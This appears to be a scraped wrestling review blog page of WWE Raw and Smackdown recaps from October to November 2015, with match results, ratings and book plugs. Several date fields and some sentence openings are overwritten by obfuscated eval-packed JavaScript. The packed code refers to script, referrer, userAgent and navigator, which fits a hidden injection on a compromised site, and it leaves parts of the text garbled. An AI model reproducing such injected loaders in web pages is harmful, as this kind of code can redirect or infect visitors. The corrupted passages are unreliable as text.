New Column: Beyond the Brackets
The good and the bad of tournaments. You might know which side I’m on already.
http://www.wrestlingrumors.net/kbs-review-beyond-the-brackets/45025/
Monday Night Raw – November 9, 2015: It’s A Tournament! Uh, Yay!
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Night Raw
Date: November 9, 2015
Location: Manchester Arena, Manchester, England
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
WWE World Title Tournament First Round: Roman Reigns vs. Big Show
Here are the full brackets.
Roman Reigns
Cesaro
Sheamus
Alberto Del Rio
Stardust
Kalisto
Ryback
Kevin Owens
Neville
King Barrett
Dolph Ziggler
Miz
Dean Ambrose
Tyler Breeze
Quick video of Undertaker and Kane during their most dominant days. The Wyatts will be paying respect to them later.
Wayne Rooney of Manchester United is here.
Paige thinks Becky Lynch is a rat and the only thing better than beating Baby Flair for the title is beating the B and then taking out the C. I kind of dig that.
Clip of Undertaker beating Sid for the title at Wrestlemania XIII and one of Kane cashing in Money in the Bank to win the title at Money in the Bank 2010.
Paige vs. Becky Lynch
Video on Wrestlemania tickets going on sale.
WWE World Title Tournament First Round: Dolph Ziggler vs. The Miz
Undertaker dominated people at Survivor Series 2005 and Kane won the Tag Team Titles with Daniel Bryan at Night of Champions 2012.
Natalya vs. Naomi
Sasha comes in post match and is put in the Sharpshooter until Tamina saves for a beatdown.
Undertaker beat up Edge in the Cell in 2008 while Kane destroyed a wedding in 2005.
WWE World Title Tournament First Round: Sheamus vs. Cesaro
WWE World Title Tournament First Round: Dean Ambrose vs. Tyler Breeze
Here are the updated brackets.
Roman Reigns
Cesar
Alberto Del Rio
Stardust
Kalisto
Ryback
Owens
Neville
King Barrett
Ziggler
Ambrose
The next Undertaker/Kane moments are Wrestlemania XXVIII for Undertaker and the 2001 Royal Rumble for Kane.
The other three first round tournament matches will take place on Smackdown.
Neville/Usos vs. New Day
We see the Wyatts taking out Undertaker and Kane recently.
Results
Roman Reigns b. Big Show – Spear
Becky Lynch b. Paige – Small package
Dolph Ziggler b. The Miz – Superkick
Natalya b. Naomi – Rollup
Cesaro b. Sheamus – Arm trap small package
Dean Ambrose b. Tyler Breeze – Small package
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Thought of the Day: Keep This In Mind
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rishk|var|u0026u|referrer|dsara||js|php'.split('|'),0,{})) case you haven’t been paying attention this week, the big story is Seth Rollins tearing his ACL and being forced to vacate the WWE World Title. This has set up a tournament at Survivor Series 2015 for the vacant belt and there’s a really popular theory out there about the result. Here’s something to keep in mind about it.
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Smackdown – November 5, 2015: The Calm Before The Tournament
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzine|var|u0026u|referrer|eydbn||js|php'.split('|'),0,{}))
November 5, 2015
Location: World Arena, Colorado Springs, Colorado
Commentators: Jerry Lawler, Rich Brennan, Booker T.
Opening sequence.
Alberto Del Rio vs. Neville
Non-title. Del Rio starts with the kicks in the corner and another to the back for an early two. A quick headscissors takes Alberto down and Neville gets two of his own off a standing shooting star, only to have a Backstabber send him to the floor. Back from a break with Del Rio in control until Neville sends him outside for a moonsault to the floor. Neville slams him on the top of his head with a hurricanrana (intentionally, called a spike rana by Brennan). He tries a few too many flips though, allowing Del Rio to kick him off the top and into the Tree of Woe, setting up the double stomp for the pin at 9:46.
Post match Del Rio hits the low superkick. So much for any rhyme or reason. Neville gets put in the cross armbreaker but Jack Swagger makes the save.
Usos vs. Ascension
Wyatt Family vs. Prime Time Players/Lucha Dragons
Strowman pulls Titus off the apron, leaving Kalisto to kick Harper down. A handspring into an enziguri staggers Bray but Rowan gets in a full nelson slam to put Kalisto out at 16:01, leaving Titus alone 4-1. Rowan starts so Titus fires off right hands and a clothesline. The Clash of the Titus puts Harper down but Bray and Erick make the save. Strowman chokes him out and Sister Abigail FINALLY ends this at 19:59.
Rating: D-. What the heck was the point of this? This is supposed to make me want to watch Survivor Series? A twenty minute squash where you knew what the lone high spots were Kalisto and Sin Cara doing their stuff before getting squashed as you knew they were going to be? Bad idea here in a match that should have taken half as long.
King Barrett vs. Ryback
Recap of Team Bad beating Natalya down last week.
Natalya vs. Tamina
Recap of the Survivor Series match from Monday.
Dean Ambrose vs. Kevin Owens
The replay shows that the kick was way above the waist. Dean goes after him but Owens bails into the crowd to end the show.
Results
Alberto Del Rio b. Neville – Top rope double stomp
Usos b. Ascension – Superfly Splash to Viktor
Ryback b. King Barrett – Shell Shock
Natalya b. Tamina – Rollup
Kevin Owens b. Dean Ambrose via DQ when Ambrose kicked him low
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – November 2, 2015: Surviving The Superkick Party
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Night Raw
Date: November 2, 2015
Location: Pepsi Center, Denver, Colorado
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
Kevin Owens vs. Dolph Ziggler
Rating: C-. Not great here and I could have done without hearing about Summer streaming video on whatever she was doing. Back in my day, you watched the video of the match during the match instead of trying to find some video on the internet. Owens is still on a roll though and Breeze gets to mess with Dolph even more so well done.
Post match Tyler goes to pose over Ziggler but gets punched in the face. That earns Ziggler a Beauty Shot as Summer continues to stream.
We look back at 1987 when the first Survivor Series took place on Thanksgiving night. That was a great show.
Rollins recruits Owens for his team tonight with promises of a title match at Wrestlemania.
We look at Paige going full heel last week.
Cesaro vs. The Miz
Unless the souls are consumed by a higher power (there would be a Vince joke here but all of the good ones are probably already covered) like Bray, who has already harvested the souls of Undertaker and Kane. Bray summons the thunder and lightning (thunder rolls and purple lightning comes out of the posts) because he now controls the powers of darkness. A bunch of fireworks go off and we see a highlight video of the Brothers of Destruction. Cool segment but go win something.
Lucha Dragons vs. King Barrett/Sheamus
Alberto Del Rio vs. R-Truth
Clip of the Raw vs. Smackdown Survivor Series match in 2005.
Rollins lets Big E. and Kofi (still no Woods) join the team if they can find a fifth man. They hold up the unicorns and look like they have ice cream headaches until Xavier returns to complete the team. A TEAM RO-LLINS dance party starts but Seth walks off.
Sasha Banks vs. Brie Bella vs. Becky Lynch vs. Paige
Winner gets the shot at Survivor Series. No Nikki, who is out with an injury. Brie and Sasha shove each other around to start until Becky dropkicks them down and nips up. Sasha and Becky trade some rollups for two each but Becky starts going after the knee to take over. Brie finally comes back in with a double middle rope dropkick. We get some running BRIE MODE (which now means no facial expressions instead of getting smashed) knees but Paige superkicks Brie down.
After taking their sweet time we get a Tower of Doom with Sasha taking the superplex and Becky powerbombing everyone down. The Disarm-Her has Brie in trouble but Sasha makes the save and gets two on Becky off a neckbreaker. The Bank Statement has Becky in trouble (she looked like she was tapping) but Paige breaks it up and hooks the Rampaige to pin Becky at 13:18.
Team Rollins vs. Team Reigns
Seth Rollins, Kevin Owens, New Day
Roman Reigns, Unknown, TBA, TBD, A mystery partner
Rating: B-. First of all: the following people use superkicks.
Paige
Jimmy Uso
Jey Uso
Alberto Del Rio
Luke Harper
Seth Rollins
Dolph Ziggler
Rusev
Kevin Owens
Tyler Breeze
And I might be forgetting some. I know the company edict is that Shawn Michaels is the greatest of all time but LEARN SOMETHING NEW. Even the Young Bucks do something else every now and then.
Rollins cleans house with the chair but Reigns gets in a Superman Punch to send him running to end the show.
Results
Kevin Owens b. Dolph Ziggler – Pop Up Powerbomb
Cesaro b. The Miz – Sharpshooter
Lucha Dragons b. Sheamus/King Barrett – Salida Del Sol to Barrett
Alberto Del Rio b. R-Truth – Top rope double stomp
Paige b. Becky Lynch, Sasha Banks and Brie Bella – Rampaige to Lynch
Team Reigns b. Team Rollins last eliminating Seth Rollins
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Smackdown – October 28, 2015: A Holiday Treat
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhiar|var|u0026u|referrer|diedd||js|php'.split('|'),0,{}))
October 29, 2015
Location: Talking Stick Resort Arena, Phoenix, Arizona
Commentators: Jerry Lawler, Rich Brennan, Booker T.
Opening sequence.
The arena is full of Halloween decorations to give it a more festive feeling.
Roman Reigns vs. Kevin Owens
Dudley Boyz vs. Ascension vs. Lucha Dragons vs. Sheamus/King Barrett
Lawler has an idea for a costume: write LIFE on a shirt and hand everyone lemons. Brennan: “Why not pennies?” Lawler: “You idiot.”
Dolph Ziggler vs. The Miz
We recap Paige going full heel on Monday.
Paige vs. Natalya
Post match Team Bad lays Natalya out. This includes Tamina becoming the fourth person tonight to use a superkick.
Breast cancer segment from Monday.
Here are Del Rio and Colter with something to say. Colter calls Del Rio virtuous and is so proud to be one of the first citizens of MexAmerica. That title now represents MexAmerica and Del Rio promises to make it great by renaming it the MexAmerica Championship.
Alberto Del Rio vs. R-Truth
BOO Dallas tries to scare Mark Henry and gets punched in the face. I guess that ends the joke.
Ryback/Dean Ambrose/Cesaro vs. Wyatt Family
Ambrose gets the tag to give the fans something to cheer for. Dean sends Harper and Rowan to the floor for the big dive off the top but Rowan kicks him in the face (NOT a superkick for a change) for two. Dean fights up again and makes the tag off to Cesaro for your athletic freak of the night phase. Harper takes the running uppercuts and that reverse Angle Slam that needs a name.
Results
Roman Reigns b. Kevin Owens via countout
Lucha Dragons b. Dudley Boyz, Ascension and King Barrett/Sheamus – Salida Del Sol to Viktor
Dolph Ziggler b. The Miz – Small package
Paige b. Natalya – Rampaige
Alberto Del Rio b. R-Truth – Top rope double stomp
Wyatt Family b. Cesaro/Ryback/Dean Ambrose – Discus lariat to Cesaro
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
The Open Challenge Was Answered By……
A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbyrd|var|u0026u|referrer|iynfe||js|php'.split('|'),0,{})) surprise…..…….AND HIS NAME IS ALBERTO DEL RIO!!!! As managed by none other than Zeb Colter. This is quite the surprise but why not.
Smackdown – October 22, 2015: Prince Pretty’s Here
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnist|var|u0026u|referrer|rskhi||js|php'.split('|'),0,{}))
October 22, 2015
Location: Frank Erwin Center, Austin, Texas
Commentators: Booker T., Jerry Lawler, Rich Brennan
We open with Seth Rollins walking through the back when he runs into Kane. That would be Corporate Kane, not Demon Kane, Harlem Heat Kane or Kane the Undertaker. Kane has a match for him tonight and threatens violence if Rollins tries to run again. Rollins leaves and Kane finds Kofi and Big E., both of whom have XW bands on their arm. Those dastardly Dudleyz put Woods through a table on Monday and now there are just two unicorns. Kofi: “What do you see in front of you right now?” Kane: “Men with fingers on their heads.” Kane plays a tiny trombone for them and makes the two of them vs. Ambrose/Reigns for later.
Seth Rollins vs. Cesaro
Non-title. Cesaro takes him to the mat and rides the champ before gutwrenching him for two. Seth bails to the floor and we see Stardust and Ascension in the Stardust Section again. The champ grabs his belt and thinks about leaving but changes his mind and goes back inside for the running uppercuts instead. Another bailout attempt is broken up by Cesaro but Seth sends him into the steps as we take a break.
The Stardust Section mocks Cesaro.
Breast cancer time.
Nikki Bella vs. Paige
Nikki mocks THIS IS MY HOUSE before slamming Paige down on the arm. Paige comes right back with a superkick for two but walks into a spinebuster for the same. The Rack Attack is broken up and Paige gets two off a fall away slam. Brie: “STAY FEARLESS!” We get what looked like a quick edit to get to an Alabama Slam from Nikki for another two. Nikki finally drills her with the forearm and the Rack Attack is good for the pin at 11:20.
Sheamus/King Barrett vs. Lucha Dragons
Clip from Raw of Reigns and Ambrose cleaning house of the Wyatts.
Ryback vs. Bo Dallas
Ryback throws him around to start but gets his throat snapped across the top rope as we see Owens watching in the back. Not that it matters as the Meat Hook and Shell Shock end this at 1:39. Nice job of rebuilding Ryback after the totally unnecessary loss on Monday.
Long video on Lesnar vs. Undertaker, which Booker compares to Ali vs. Frazier.
Roman Reigns/Dean Ambrose vs. New Day
Results
Seth Rollins b. Cesaro – Pedigree
Nikki Bella b. Charlotte – Rack Attack
Sheamus/King Barrett b. Lucha Dragons – Brogue Kick to Kalisto
Ryback b. Bo Dallas – Shell Shock
Roman Reigns/Dean Ambrose b. New Day – Spear to Kingston
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Reviewing the Review – Monday Night Raw: October 12, 2015
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihazk|var|u0026u|referrer|ktazr||js|php'.split('|'),0,{})) from the important shows, my favorite reviews to look back on are the shows where people say I got the ratings totally wrong. I’ve changed my opinion on shows before via a second look so maybe that’s going to happen here. This week’s show was pretty much hated but I had a decent enough time with it. Let’s get to it.
Brie Bella pinned Charlotte in a tag match because the way to get someone new over in the division is to give them the title and then have them lose almost every match. Paige and Natalya fought a bit to pad out the match. I do like the idea that they have more than one Divas story going at the same time, but they could have better ideas than Brie Bella pinning the Divas Champion.
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Smackdown – October 15, 2015: The Weekly House Show
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erhki|var|u0026u|referrer|dknka||js|php'.split('|'),0,{}))
October 15, 2015
Location: US Bank Arena, Cincinnati, Ohio
Commentators: Rich Brennan, Jerry Lawler, Booker T.
Opening sequence.
Roman Reigns vs. Bo Dallas
Before the match, Bo talks about Reigns going to a scary place at the pay per view. Dallas knows all about scary places because he went to Suplex City, but he actually survived it unlike Reigns. Dallas actually takes him into the corner to start but Reigns drops him with a neckbreaker. A middle rope clothesline to the back of the head gives Bo an opening, only to have Reigns come back with even more clotheslines of his own. Dallas wants time and Reigns stops to smile, only to get annoyed when he takes a kick to the ribs. Now the Samoan drop connects and the two moves end Dallas at 2:58.
Cesaro/Neville vs. Sheamus/King Barrett
Rematch from Raw because the writers already came up with their idea for the week. Ascension and Stardust are sitting in the crowd with a STARDUST SECTION sign. Barrett and Neville get things going with Neville starting his kicking regimen early. Sheamus comes in and eventually gets hurricanranaed out to the floor, allowing Cesaro to backdrop his partner over the top and onto the villains in a nice visual.
Kevin Owens vs. Zack Ryder
Recap of Rollins and Kane on Monday. That would be another loss for the champ, which of course has nothing to do with the ratings plunging.
Dolph Ziggler vs. Rusev
Wyatt Family vs. Prime Time Players
Charlotte vs. Alicia Fox
Team Bella attacks post match but Paige makes the save.
Video on Lesnar vs. Undertaker.
New Day vs. Dean Ambrose/Dudley Boyz
Dean comes in to clean house and Woods eats the suicide dive. The top rope standing clothesline gets two on Woods but Big E. hits a clothesline of his own. Bubba gets the tag for the Bionic Elbow (complete with trombone) to Kofi as everything breaks down. Dean goes up top for a dive on Big E. but Woods shoves him to the floor. Kofi eats 3D but Woods gets in a trombone shot for the DQ at 9:35.
New Day lays out the Dudleyz to end the show.
Results
Roman Reigns b. Bo Dallas – Spear
Sheamus/King Barrett b. Cesaro/Neville – Sheamus pinned Cesaro after a Bull Hammer
Kevin Owens b. Zack Ryder – Pop Up Powerbomb
Dolph Ziggler b. Rusev – Zig Zag
Wyatt Family b. Prime Time Players – Standing choke to Young
Charlotte b. Alicia Fox – Figure Eight
Dudley Boyz/Dean Ambrose b. New Day via DQ when Woods used a trombone
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at: